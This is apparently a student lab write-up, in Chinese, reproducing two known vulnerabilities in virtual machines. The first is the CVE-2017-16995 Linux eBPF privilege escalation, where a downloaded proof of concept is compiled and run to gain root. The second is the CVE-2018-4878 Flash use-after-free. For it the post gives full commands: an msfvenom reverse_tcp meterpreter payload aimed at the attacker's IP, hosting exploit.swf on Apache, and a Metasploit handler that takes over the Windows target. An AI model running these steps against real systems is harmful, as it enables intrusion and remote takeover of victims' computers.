20155306 白皎 0day漏洞——漏洞的复现
一、Ubuntu16.04 (CVE-2017-16995)
1.漏洞概述
Ubuntu最新版本16.04存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。
攻击者(普通用户)可以利用该漏洞进行提权攻击,获取root权限,危害极大。该漏洞编号是CVE-2017-16995,在之前的一些老版本已经修复了,但是在最新的Ubuntu版本中,又出现了这个漏洞,并且Twitter爆出了漏洞利用代码。
目前,主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响。
影响版本:
Linux内核:Linux Kernel Version 4.14 ~ 4.4
Ubuntu版本:16.04.01~ 16.04.04
2.漏洞复现
step1:漏洞复现环境下载
- Ubuntu16.04下载:http://old-releases.ubuntu.com/releases/16.04.0/
【注:这里我下载的版本是 ubuntu-16.04.3-server-amd64.iso
POC代码下载:http://cyseclabs.com/pub/upstream44.c 】
uploading-image-306121.png

- 使用账号密码(pinginglab/pinginglab)登录虚拟机
,使用 id 查看本地用户组权限:

使用cat /proc/version查看Linux内核版本
使用cat /etc/shadow查看账号密码(由于是普通账号,没有权限查看)

下载POC代码

使用gcc对upstream44.c进行编译,给予执行权限: 【若没有编译器,使用sudo apt install gcc 下载并安装gcc编译器】
- 下面编译并且赋予权限
gcc -o test upstream44.c
chmod +x test
ll

可以看到编译成功后的文件:

执行test文件,发生了错误:

经过分析和查阅资料,发现可能是我电脑的内核不对?但是我的内核是在范围内的呀。那我只好换个内核一试了!
查看目前内核版本uname -r

- 下载自己想要的版本,我下载的是
:4.4.0-81-generic,sudo apt-get install linux-headers-4.4.0-81-generic linux-image-4.4.0-81-generic

可以看到内核更换成功啦!
重新利用gcc进行编译,并且查看,没有问题,一切正常~

运行编译的文件,可以看到提权成功!此时用户从“baijiao”,切换到“root”,获取到最高权限,并且可以查看本地账号密码。

二、Ubuntu16.04 (CVE-2017-16995)
1.漏洞概述
在2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878)。使用者通过构造特殊的Flash链接,当用户用浏览器/邮件/Office访问此Flash链接时,会被“远程代码执行”,并且直接被getshell。直到2018年2月5号,Adboe才发布补丁来修复此0 day漏洞。
CVE-2018-4878位于Flash的com.adobe.tvsdk包中,是一个UAF漏洞,需要借助强制GC或者刷新页面来触发该漏洞。
2.漏洞复现
- 实验环境
攻击机:Kali Linux (ip:192.168.145.137)
靶机:Windows 7 (ip:192.168.145.138)
exp:cve-2018-4878.py
flash:flashplayer_activex_28.0.0.137.exe
- 实验流程
①将网上找的代码CVE-2018-4878-master目录下载下来,并放入Kali Linux桌面,并查询本机ip。


②使用msfvenom生成shell代码
生成代码,其中lhost为kali的ip地址,lport为自定义的端口号msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.145.137 lport=5306 -f python>shellcode.txt

查看代码文件 cat shellcode.txt

③进入CVE-2018-4878-master目录,编辑CVE-2018-4878.py文件,将上面msfvenom生成的代码覆盖掉原来的代码:

修改CVE-2018-4878.py下面的文件信息,把swf和html的文件路径改为自己的相应的文件路径,之后保存修改退出:

④Kali Linux进入CVE-2018-4878-master路径,用Python执行CVE-2018-4878-master.py代码
root@kali:~/Desktop/CVE-2018-4878-master# python cve-2018-4878.py
root@kali:~/Desktop/CVE-2018-4878-master# ls -l

⑤Kali Linux开启Apache2服务,并将上面的2个文件放入/var/www/html目录中(apache web路径)
root@kali:~/Desktop/CVE-2018-4878-master# service apache2 start
root@kali:~/Desktop/CVE-2018-4878-master# cp index2.html /var/www/html/index2.html
root@kali:~/Desktop/CVE-2018-4878-master# cp exploit.swf /var/www/html/exploit.swf

此时,Kali Linux上Web服务启动,并且具备index2.html这个页面。只要靶机启用flash并访问了这个页面,则可以直接被控制。
⑥Kali Linux开启Shell会话监听
使用handler监听模块
msf > use exploit/multi/handler
回弹一个tcp连接
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
设置kali***机的ip地址
msf exploit(handler) > set lhost 192.168.145.137
设置监听端口,这个需跟上面msfvenom设置的端口一致
msf exploit(handler) > set lport 5306
开启监听,等待肉鸡上线
msf exploit(handler) > exploit
⑦Windows7 安装flash插件,并用IE浏览器访问页面
搜索flash最新的28版本 ,安装flash插件 。

使用Win7内置IE 8浏览器访问页面:http://172.16.70.216/index2.html

⑧Kali Linux 上获取meterpreter shell,并进行管理

在实验过程中,最后需要在靶机浏览器打开index2.html ,但总是提示页面无法显示,最后发现是因为自己的攻击机和靶机不在同一网段,一个设置为NET模式,一个为桥接模式,最后把统一设置为NET模式,就攻击成功啦!
可以看到,最终由于Flash存在CVE-2018-4878这个高危漏洞,导致Windows靶机访问含flash的页面时,直接被Kali Linux控制。
做完这个实验,感觉在真实环境下,应该有很多基于此Flash漏洞,结合社会工程学,比如将网页链接放置在诱导邮件中,就可以欺骗欺骗大量用户点击,哇,真的是太可怕了。这也提醒我们平常要非常小心陌生链接要及时打安全补丁要不然一个不小心,就会导致电脑被劫持了。
20155306 白皎 0day漏洞——漏洞的复现的更多相关文章
- 20155306 白皎 0day漏洞——漏洞利用原理之GS
20155306 白皎 0day漏洞--漏洞利用原理之GS 一.GS安全编译选项的保护原理 1.1 GS的提出 在第二篇博客(栈溢出利用)中,我们可以通过覆盖函数的返回地址来进行攻击,面对这个重灾区, ...
- 20155306 白皎 0day漏洞——漏洞利用原理之DEP
20155306 白皎 0day漏洞--漏洞利用原理之DEP 一.DEP机制的保护原理 1.为什么出现DEP? 溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计 ...
- 20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用
20155306 白皎 0day漏洞--漏洞利用原理之栈溢出利用 一.系统栈的工作原理 1.1内存的用途 根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行.但是不管什么样的操作系统.什么样 ...
- 20155306 白皎 0day漏洞——基础知识
20155306 白皎 0day漏洞--(第一篇)基础知识 写在前面: 本次免考实践方向是0day漏洞,以博客的形式记录了我的学习实践过程.第一篇博客主要围绕什么是0day漏洞以及一些以后学习中需要的 ...
- 20155306白皎 《网络对抗》 Exp9 Web安全基础实践
20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...
- 20155306 白皎 《网络攻防》 EXP8 Web基础
20155306 白皎 <网络攻防> EXP8 Web基础 一.问题回答 - 什么是表单 表单:一般用来收集用户的信息和反馈意见 表单包括两个部分:一部分是HTML源代码用于描述表单(例如 ...
- 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础
20155306 白皎 <网络攻防>Exp1 PC平台逆向破解--逆向与Bof基础 实践相关说明 1.1 实践目标 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...
- 20155306 白皎 《网络攻防》 EXP7 网络欺诈技术防范
20155306 白皎 <网络攻防> EXP7 网络欺诈技术防范 问题回答 (1)通常在什么场景下容易受到DNS spoof攻击 局域网内的攻击以及连接公众场所的共享wifi (2)在日常 ...
- 20155306 白皎 《网络攻防》 Exp2 后门原理与实践
20155306 白皎 <网络攻防> Exp2 后门原理与实践 一.实践基础 后门程序又称特洛伊木马,其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作.后程序和电脑病毒最大的差别, ...
随机推荐
- Visual Studio编译C工程出现的错误
错误1. エラー 1 error LNK1561: エントリー ポイントを定義しなければなりません. 解决办法:将工程的类型改为dll动态库,设置方式如下: 右键工程,选择[プロパティ].在弹出的面板 ...
- TagCloudView云标签的灵活运用
这两天做了一个项目,发现标签不能更改任意一个标签的字体的颜色,需求如同置前标签,然后就对tagcloudeview稍做修改做了这么一个demo.不为别的,只为以后自己用的时候方便拷贝. 先看效果图: ...
- Python Django框架笔记(五):模型
#前言部分来自Django Book (一) 前言 大多数web应用本质上: 1. 每个页面都是将数据库的数据以HTML格式进行展现. 2. 向用户提供修改数据库数据的方法.(例如:注册.发表评 ...
- gitlab查看项目ID/projectId
背景 最近有个CI打包平台,项目projectId弄错,导致拉取到错误仓库.笔者一直通过项目名称(project name)访问,首次接触project id,搜索一圈才找到快捷查看方法,记录于此. ...
- LeetCode 题解之Goat Latin
1.问题描述 2.问题分析 将句子拆分成单词,然后放入vector中,对每一个单词做改变,最后连成句子返回. 3.代码 string toGoatLatin(string S) { vector< ...
- SSM整合配置文件的主要内容
web.xml: <servlet> <setvlet-name>springMVC</setvlet-name> <!-- 配置前端控制器 --> & ...
- Oracle EBS OPM 取消生产批
--取消生产批 --created by jenrry SET serveroutput on; DECLARE p_batch_header_rec gme_batch_header%ROWTYPE ...
- 4种更快更简单实现Python数据可视化的方法
数据可视化是数据分析或机器学习项目中十分重要的一环.通常,你需要在项目初期进行探索性的数据分析(EDA),从而对数据有一定的了解,而且创建可视化确实可以使分析的任务更清晰.更容易理解,特别是对于大规模 ...
- 转:jQuery插件开发全解析
jQuery插件的开发包括两种: 一种是类级别的插件开发,即给jQuery添加新的全局函数,相当于给jQuery类本身添加方法.jQuery的全局函数就是属于jQuery命名空间的函数,另一种是对象级 ...
- python Pipe 双管道通信
管道:是python多进程中一种交换数据的方式 from multiprocessing import Process,current_process,Queue,Pipe import time i ...